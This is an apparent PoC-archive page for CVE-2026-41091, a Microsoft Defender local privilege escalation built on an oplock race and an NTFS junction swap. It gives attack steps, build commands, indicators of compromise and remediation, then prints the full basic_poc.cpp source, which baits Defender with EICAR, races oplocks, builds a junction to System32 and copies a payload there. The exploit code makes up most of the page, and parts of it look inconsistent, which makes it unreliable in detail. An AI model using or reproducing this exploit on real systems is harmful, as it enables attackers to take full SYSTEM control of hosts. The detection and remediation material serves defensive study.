PoC Archive PoC Archive
High CVE-2026-41091 unpatched

Microsoft Defender Link Following Local Privilege Escalation (CVE-2026-41091)

by tc4dy · 2026-07-05

CVSS 7.8/10
Severity
High
CVE
CVE-2026-41091
Category
binary
Affected product
Microsoft Defender / Microsoft Malware Protection Engine
Affected versions
Microsoft Malware Protection Engine < 1.1.26040.8; Antimalware Platform < 4.18.26040.7
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researchertc4dy
CVE / AdvisoryCVE-2026-41091
Categorybinary
SeverityHigh
CVSS Score7.8 (High) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (as stated in source repo)
StatusWeaponized
Tagswindows, microsoft-defender, link-following, cwe-59, cloud-files-api, ntfs-junction, oplock, privilege-escalation, lpe
RelatedN/A

Affected Target

FieldValue
Software / SystemMicrosoft Defender / Microsoft Malware Protection Engine
Versions AffectedMicrosoft Malware Protection Engine < 1.1.26040.8; Antimalware Platform < 4.18.26040.7
Language / PlatformC++ (Windows, x64)
Authentication RequiredLocal-only (low-privileged local account)
Network Access RequiredNo (local exploitation; internet access needed only to trigger a VSS snapshot in the researcher’s environment)

Summary

CVE-2026-41091 is a local privilege escalation vulnerability in Microsoft Defender caused by improper link resolution (CWE-59) during file operations performed with SYSTEM privileges. By racing a Defender-triggered scan against filesystem oplocks, and then substituting a real directory with an NTFS junction pointing at C:\Windows\System32, a low-privileged local attacker can get Defender’s Cloud Files API–backed remediation logic to write an attacker-controlled file into a protected system directory. The repository includes a simplified basic_poc.cpp that demonstrates the oplock/junction-swap algorithm, and a full_poc.cpp that adds Cloud Files API (CfAPI) placeholder creation and COM-based service activation to complete SYSTEM code execution.


Vulnerability Details

Root Cause

Microsoft Defender resolves and later re-opens a working-directory path across multiple steps of a Cloud Files API–driven remediation/quarantine flow without safely pinning the handle, allowing a symlink/junction race (TOCTOU) to redirect the operation onto an arbitrary NTFS junction target such as System32.

Attack Vector

  1. Attacker creates a working directory and drops a bait file containing an EICAR test string to trigger Defender scanning/remediation on it.
  2. Attacker requests a batch oplock (FSCTL_REQUEST_BATCH_OPLOCK) on the bait file and waits for Defender to open it (oplock break), giving the attacker a window of exclusive access.
  3. Attacker renames the original directory out of the way and registers a Cloud Files API sync root, creating a cloud placeholder in its place; a second oplock/break cycle is used to win a race against Defender’s next file access.
  4. Attacker renames the cloud directory aside and creates an NTFS junction from the original path to C:\Windows\System32, then lets Defender copy the payload into System32 under a legitimate service binary name.
  5. Attacker triggers activation of the associated Windows service (e.g., Storage Tiers Management) via COM (CoCreateInstance), causing the planted payload to execute as NT AUTHORITY\SYSTEM.

Impact

A low-privileged local attacker can escalate to NT AUTHORITY\SYSTEM, obtaining full control of the host including arbitrary code execution, credential theft, and persistence.


Environment / Lab Setup

Target:   Windows 10/11 or Windows Server 2019/2022 with Microsoft Defender enabled, unpatched (Malware Protection Engine < 1.1.26040.8)
Attacker: Visual Studio 2019/2022 with C++17 toolchain (or CMake), cfapi.lib and ntdll.lib for the full exploit build

Proof of Concept

PoC Script

See basic_poc.cpp (algorithm demonstration) and full_poc.cpp (complete exploit chain) in this folder.

1
2
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
full_poc.exe

full_poc.exe creates a randomly-named working directory, baits Microsoft Defender with an EICAR trigger, wins the oplock/rename race twice to swap in an NTFS junction pointing at System32, copies its payload in as a legitimate-looking service binary, and activates the corresponding Windows service via COM to execute the payload as SYSTEM. basic_poc.exe runs only the oplock/junction-swap algorithm for demonstration without the CfAPI/COM activation steps.


Detection & Indicators of Compromise

Signs of compromise:

  • New or modified executables in System32 matching known service binary names (e.g. TieringEngineService.exe) with mismatched hashes/timestamps
  • Rapid create/rename/junction sequences on a %TEMP% directory correlated with Defender scan events
  • Unexpected activation of storage-tiering or other privileged COM services shortly after a low-privileged logon session performs filesystem operations

Remediation

ActionDetail
Primary fixUpdate Microsoft Malware Protection Engine to 1.1.26040.8+ / Antimalware Platform to 4.18.26040.7+ (delivered via normal Defender platform/engine updates)
Interim mitigationRestrict local user write access to directories scanned/remediated by Defender where feasible; monitor for oplock-based race patterns and unexpected junction creation targeting System32

References


Notes

Mirrored from https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit on 2026-07-05. The source repo’s README uses hype-heavy/clickbait framing (branding the vulnerability “SolarFlare” and displaying a “CISA KEV — actively exploited in the wild” badge); that “actively exploited in the wild” claim is unverified in this mirror and should be treated with skepticism until confirmed against an authoritative source (e.g. CISA’s KEV catalog) rather than cited as fact.

basic_poc.cpp
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
/*
 * CVE-2026-41091 Basic PoC - Simplified Algorithm Demonstration (USE full_poc.cpp)
 * 
 * This is a BASIC educational PoC that demonstrates the exploitation algorithm.
 * This is NOT the full working exploit.
 * 
 * For the complete working exploit with all features, use full_poc.cpp which includes:
 * - Cloud Files API (CfAPI) integration
 * - Cloud placeholder creation
 * - COM service activation (Storage Tiers Management)
 * - Complete SYSTEM privilege escalation chain
 * 
 * This basic version only shows the core algorithm:
 * 1. Trigger Defender with EICAR
 * 2. Wait for VSS snapshot
 * 3. Create batch oplocks
 * 4. Rename directories
 * 5. Create NTFS junction to System32
 * 6. Copy payload to System32
 * Created by @tc4dy
 */

#include <windows.h>
#include <winioctl.h>
#include <iostream>
#include <string>
#include <filesystem>
#include <thread>
#include <chrono>
#include <random>

namespace fs = std::filesystem;

#pragma comment(lib, "ntdll.lib")

const char EICAR_REVERSED[] = "*H+H$!ELIF-TSET-NAIDRA-DNATSRACIRE$}7)CC7)^)45PZXZP\\[4PA@P%!O5X";

class BasicExploit {
private:
    std::wstring tempDir;
    std::wstring payloadPath;
    std::wstring systemTarget;
    HANDLE hOplock1;
    HANDLE hOplock2;

    bool WaitForVssSnapshot() {
        std::wcout << L"[*] Waiting for VSS activity..." << std::endl;
        
        HANDLE hDir;
        UNICODE_STRING dirName;
        OBJECT_ATTRIBUTES objAttr;
        
        RtlInitUnicodeString(&dirName, L"\\Device");
        InitializeObjectAttributes(&objAttr, &dirName, OBJ_CASE_INSENSITIVE, NULL, NULL);
        
        typedef NTSTATUS (NTAPI *pNtOpenDirectoryObject)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES);
        typedef NTSTATUS (NTAPI *pNtQueryDirectoryObject)(HANDLE, PVOID, ULONG, BOOLEAN, BOOLEAN, PULONG, PULONG);
        
        auto NtOpenDirectoryObject = (pNtOpenDirectoryObject)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtOpenDirectoryObject");
        auto NtQueryDirectoryObject = (pNtQueryDirectoryObject)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryDirectoryObject");
        
        if (!NtOpenDirectoryObject || !NtQueryDirectoryObject) return false;
        
        if (NtOpenDirectoryObject(&hDir, 0x0003, &objAttr) != 0) return false;

        for (int i = 0; i < 30; i++) {
            BYTE buffer[4096];
            ULONG context = 0;
            ULONG returnLength = 0;
            
            while (true) {
                ULONG queryLength = 0;
                NTSTATUS status = NtQueryDirectoryObject(hDir, buffer, sizeof(buffer), FALSE, TRUE, &context, &queryLength);
                if (status == 0x80000005 || status != 0) break;
                
                if (wcsstr((wchar_t*)(buffer + 8), L"HarddiskVolumeShadowCopy")) {
                    NtClose(hDir);
                    return true;
                }
            }
            Sleep(1000);
        }
        
        NtClose(hDir);
        return false;
    }

    bool CreateOplock(const std::wstring& path, HANDLE& hOplock) {
        HANDLE hFile = CreateFileW(path.c_str(), 
            GENERIC_READ | FILE_READ_ATTRIBUTES,
            FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
            NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
        
        if (hFile == INVALID_HANDLE_VALUE) return false;

        OVERLAPPED ov = {0};
        ov.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
        if (!ov.hEvent) {
            CloseHandle(hFile);
            return false;
        }

        DWORD bytesReturned;
        DeviceIoControl(hFile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, 0, NULL, 0, &bytesReturned, &ov);
        
        if (GetLastError() != ERROR_IO_PENDING) {
            CloseHandle(ov.hEvent);
            CloseHandle(hFile);
            return false;
        }

        hOplock = hFile;
        return true;
    }

    bool WaitForOplock(HANDLE hOplock) {
        OVERLAPPED ov = {0};
        ov.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
        if (!ov.hEvent) return false;
        
        DWORD bytesReturned;
        BOOL result = GetOverlappedResult(hOplock, &ov, &bytesReturned, TRUE);
        CloseHandle(ov.hEvent);
        return result;
    }

    bool CreateJunction(const std::wstring& junctionPath, const std::wstring& targetPath) {
        HANDLE hDir = CreateFileW(junctionPath.c_str(), GENERIC_WRITE, 0, NULL,
            CREATE_ALWAYS, FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS, NULL);
        
        if (hDir == INVALID_HANDLE_VALUE) return false;

        BYTE buffer[MAXIMUM_REPARSE_DATA_BUFFER_SIZE];
        PREPARSE_DATA_BUFFER reparse = (PREPARSE_DATA_BUFFER)buffer;
        reparse->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
        reparse->Reserved = 0;

        std::wstring fullTarget = L"\\??\\" + targetPath;
        size_t targetLen = fullTarget.length() * sizeof(WCHAR);
        size_t printNameLen = targetPath.length() * sizeof(WCHAR);

        reparse->ReparseDataLength = (WORD)(targetLen + printNameLen + 16);

        BYTE* data = buffer + REPARSE_DATA_BUFFER_HEADER_SIZE;
        *(WORD*)data = (WORD)targetLen;
        data += 2;
        memcpy(data, fullTarget.c_str(), targetLen);
        data += targetLen;
        *(WORD*)data = (WORD)printNameLen;
        data += 2;
        memcpy(data, targetPath.c_str(), printNameLen);

        DWORD bytesReturned;
        BOOL result = DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, buffer,
            (DWORD)(REPARSE_DATA_BUFFER_HEADER_SIZE + reparse->ReparseDataLength),
            NULL, 0, &bytesReturned, NULL);

        CloseHandle(hDir);
        return result;
    }

    bool TriggerDefender(const std::wstring& path) {
        HANDLE hFile = CreateFileW(path.c_str(), GENERIC_WRITE, 0, NULL,
            CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        
        if (hFile == INVALID_HANDLE_VALUE) return false;

        DWORD written;
        WriteFile(hFile, EICAR_REVERSED, (DWORD)strlen(EICAR_REVERSED), &written, NULL);
        CloseHandle(hFile);

        HANDLE hExec = CreateFileW(path.c_str(), GENERIC_READ | FILE_EXECUTE,
            FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
        
        if (hExec == INVALID_HANDLE_VALUE) return false;
        CloseHandle(hExec);

        return true;
    }

    bool CopyToSystem(const std::wstring& source, const std::wstring& dest) {
        return CopyFileW(source.c_str(), dest.c_str(), FALSE);
    }

public:
    BasicExploit() : hOplock1(NULL), hOplock2(NULL) {
        std::random_device rd;
        std::mt19937 gen(rd());
        std::uniform_int_distribution<> dis(1000, 9999);
        
        std::wstring randomId = L"BE-" + std::to_wstring(dis(gen));
        tempDir = fs::temp_directory_path().wstring() + L"\\" + randomId + L"\\";
        payloadPath = tempDir + L"Payload.exe";
        systemTarget = L"C:\\Windows\\System32\\Payload.exe";
    }

    bool Execute() {
        std::wcout << L"\n========================================" << std::endl;
        std::wcout << L"  CVE-2026-41091 Basic PoC" << std::endl;
        std::wcout << L"  Algorithm Demonstration Only" << std::endl;
        std::wcout << L"========================================" << std::endl;
        std::wcout << L"[*] Starting exploit algorithm..." << std::endl;

        std::wcout << L"[*] Creating working directory..." << std::endl;
        if (!fs::create_directories(tempDir)) {
            std::wcerr << L"[-] Failed to create directory" << std::endl;
            return false;
        }
        std::wcout << L"[+] Directory created: " << tempDir << std::endl;

        std::wcout << L"[*] Triggering Defender with EICAR..." << std::endl;
        if (!TriggerDefender(payloadPath)) {
            std::wcerr << L"[-] Failed to trigger Defender" << std::endl;
            return false;
        }
        std::wcout << L"[+] Defender triggered" << std::endl;

        std::wcout << L"[*] Waiting for VSS snapshot..." << std::endl;
        if (!WaitForVssSnapshot()) {
            std::wcout << L"[!] VSS not detected, continuing anyway..." << std::endl;
        } else {
            std::wcout << L"[+] VSS detected" << std::endl;
        }

        std::wcout << L"[*] Creating first oplock..." << std::endl;
        if (!CreateOplock(payloadPath, hOplock1)) {
            std::wcerr << L"[-] Failed to create first oplock" << std::endl;
            return false;
        }
        std::wcout << L"[+] First oplock created" << std::endl;

        std::wcout << L"[*] Waiting for oplock break..." << std::endl;
        if (!WaitForOplock(hOplock1)) {
            std::wcerr << L"[-] Failed to get oplock" << std::endl;
            return false;
        }
        std::wcout << L"[+] Oplock acquired" << std::endl;

        std::wcout << L"[*] Renaming directory..." << std::endl;
        fs::path movedPath = tempDir + L".tmp";
        try {
            if (fs::exists(movedPath)) fs::remove_all(movedPath);
            fs::rename(tempDir, movedPath);
            fs::create_directories(tempDir);
        } catch (...) {
            std::wcerr << L"[-] Failed to rename directory" << std::endl;
            return false;
        }
        std::wcout << L"[+] Directory renamed" << std::endl;

        std::wcout << L"[*] Creating second oplock..." << std::endl;
        if (!CreateOplock(payloadPath, hOplock2)) {
            std::wcerr << L"[-] Failed to create second oplock" << std::endl;
            return false;
        }
        std::wcout << L"[+] Second oplock created" << std::endl;

        std::wcout << L"[*] Waiting for second oplock..." << std::endl;
        if (!WaitForOplock(hOplock2)) {
            std::wcerr << L"[-] Failed to get second oplock" << std::endl;
            return false;
        }
        std::wcout << L"[+] Second oplock acquired" << std::endl;

        std::wcout << L"[*] Creating NTFS junction to System32..." << std::endl;
        if (!CreateJunction(tempDir, L"C:\\Windows\\System32")) {
            std::wcerr << L"[-] Failed to create junction" << std::endl;
            return false;
        }
        std::wcout << L"[+] Junction created" << std::endl;

        CloseHandle(hOplock1);
        CloseHandle(hOplock2);
        hOplock1 = NULL;
        hOplock2 = NULL;

        std::wcout << L"[*] Waiting for Defender to finish..." << std::endl;
        Sleep(3000);

        std::wcout << L"[*] Copying payload to System32..." << std::endl;
        if (!CopyToSystem(payloadPath, systemTarget)) {
            std::wcerr << L"[-] Failed to copy payload" << std::endl;
            return false;
        }
        std::wcout << L"[+] Payload copied to " << systemTarget << std::endl;

        std::wcout << L"\n[+] Algorithm demonstration completed!" << std::endl;
        std::wcout << L"[i] This is only the basic algorithm." << std::endl;
        std::wcout << L"[i] For full SYSTEM privilege escalation," << std::endl;
        std::wcout << L"[i] use full_poc.cpp with Cloud API and COM activation." << std::endl;
        
        return true;
    }

    ~BasicExploit() {
        if (hOplock1) CloseHandle(hOplock1);
        if (hOplock2) CloseHandle(hOplock2);
        
        try {
            if (fs::exists(tempDir)) fs::remove_all(tempDir);
        } catch (...) {}
    }
};

int main() {
    SetConsoleOutputCP(CP_UTF8);
    
    BasicExploit exploit;
    
    if (exploit.Execute()) {
        std::wcout << L"\n[+] Press any key to exit..." << std::endl;
        std::cin.get();
        return 0;
    }
    
    std::wcerr << L"\n[-] Exploit failed!" << std::endl;
    std::wcerr << L"[!] Make sure you're running on an unpatched system" << std::endl;
    std::wcerr << L"[!] Defender version must be <= 1.1.26030.3008" << std::endl;
    
    std::cin.get();
    return 1;
}